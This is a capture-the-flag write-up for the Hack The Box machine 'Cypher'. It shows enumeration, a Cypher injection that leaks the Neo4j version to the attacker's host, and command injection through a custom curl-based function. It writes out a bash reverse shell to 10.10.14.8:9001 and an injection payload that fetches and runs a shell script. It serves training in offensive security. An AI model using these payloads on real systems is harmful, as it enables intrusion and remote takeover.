Cypher is a Linux Medium box that starts with a website hosting a .jar file. Once downloaded and decompiled you find amongst them a CustomFunctions.class java file. Using jd-gui we are able to look at the source code of the file. The code reveals a attack vector inside a string that executes a system command. Using Cypher Injection we are able to obtain a reverse shell that gets us on the box as neo4j. Once on the box we look around to find a .yml file containing credentials. Trying with the other user gets us a shell as graphasm. We ssh in for stability, and check what permissions we have with sudo -l that reveals we can run bbot with sudo. Looking into the github and the man pages. We can force run a config through a dry run and have it abort before executing. Doing this we can obtain the root.txt file.
Initial Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA= | 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi 80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://cypher.htb/ |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Looking around we don’t see much interesting, therefore we can gobuster and see what’s hiding.
/api is interesting enough, when we scan that we only see one endpoint.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$gobuster dir -u http://cypher.htb/api/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cypher.htb/api/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /auth (Status: 405) [Size: 31]
I presume this is an endpoint looking for authentication, therefore a POST request with something like username:password.
API Endpoint
Sending a GET Request only provided a response in JSON telling us duhhh, most likely wants a POST Request for authentication. Also be weary as it could redirected us to /api/api/auth, so we need to remember to send our POST to /api/auth.
Wonder if we can cause an error?? We can try a payload to see if we can get a neo4j version. Maybe we can get it to hit our server, yet fortnately we got an error which helps as well as and the version at the bottom I assuming.
HTTP/1.1 400 Bad Request Server: nginx/1.24.0 (Ubuntu) Date: Fri, 14 Mar 2025 16:03:22 GMT Content-Length: 3257 Connection: keep-alive
Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/app/app.py", line 63, in <listcomp> return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 378, in __iter__ self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 44: http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community ()}
During handling of the above exception, another exception occurred:
Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.8/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/app/app.py", line 63, in <listcomp> return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 378, in __iter__ self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 44: http://10.10.14.8/?version=5.24.1&name=Neo4j Kernel&edition=community ()}
Lets try sending a POST with some creds and maybe an error or mispelling.
JackPot!!! We can see what the expected expressions would be and how we should craft a payload. Lets move on for now.
Testing directory
/testing looks interesting, once we check that out we find a directory listing with a .jar file.
Now we have some .class files. Usually written in java, we can look at the source code using jd-gui.
1
$ jd-gui CustomFunctions.class
This will give us a window with our function. If we look we can see it making a system call. The ClassFunctions uses shell command curl to get the HTTP status code. It suppresses the output (-s), ensures no file saved (-o /dev/null), and sets a connection timeout (–connect-timeout 1). The curl command returns the HTTP status code using the -w flag and {http_code}. The primary issue lies in how the URL is passed into the shell command without sufficient validation or sanitization. This is were we can append arbritrary code.
FootHold and Payload Creation
First we make our shell:
1 2 3 4
# shell.sh /bin/bash
bash -i >& /dev/tcp/10.10.14.8/9001 0>&1
Now we have to craft a payload to try and hit our server. This should grab our payload and execute.
1 2 3
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' MATHC' return h.value as hash AND String statusCode = inputReader.readLine();"
So our payload might look something like this:
1 2 3
{"username":"admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.htb;curl 10.10.14.8/shell.sh|bash;#\") YIELD statusCode AS a RETURN a; //",
"password":"Password123"}
Explanation Using this in a POST Request we send the data as JSON. Though we are injecting our payload. We use h.value or u.name as our variable a then UNION CALL the function custom.getUrlStatusCode. Inside it we have our payload, which checks the status code of cypher.htb then curls our machine and executes our code. YIELD the statusCode as our variable a and return a.RETURN a will execute our code. We use \ to escape " inside the parentheses. Then // at then end to comment out everything else.
Shell as neo4j
Looking around we see graphasm in /home. Going into his home we find bbot_preset.yml which reveals credentials we can try for ssh.
neo4j@cypher:/$ cd /home/ cd /home/ neo4j@cypher:/home$ ls ls graphasm neo4j@cypher:/home$ cd * cd * neo4j@cypher:/home/graphasm$ ls ls bbot_preset.yml user.txt neo4j@cypher:/home/graphasm$ cat bbot_preset.yml cat bbot_preset.yml targets: - ecorp.htb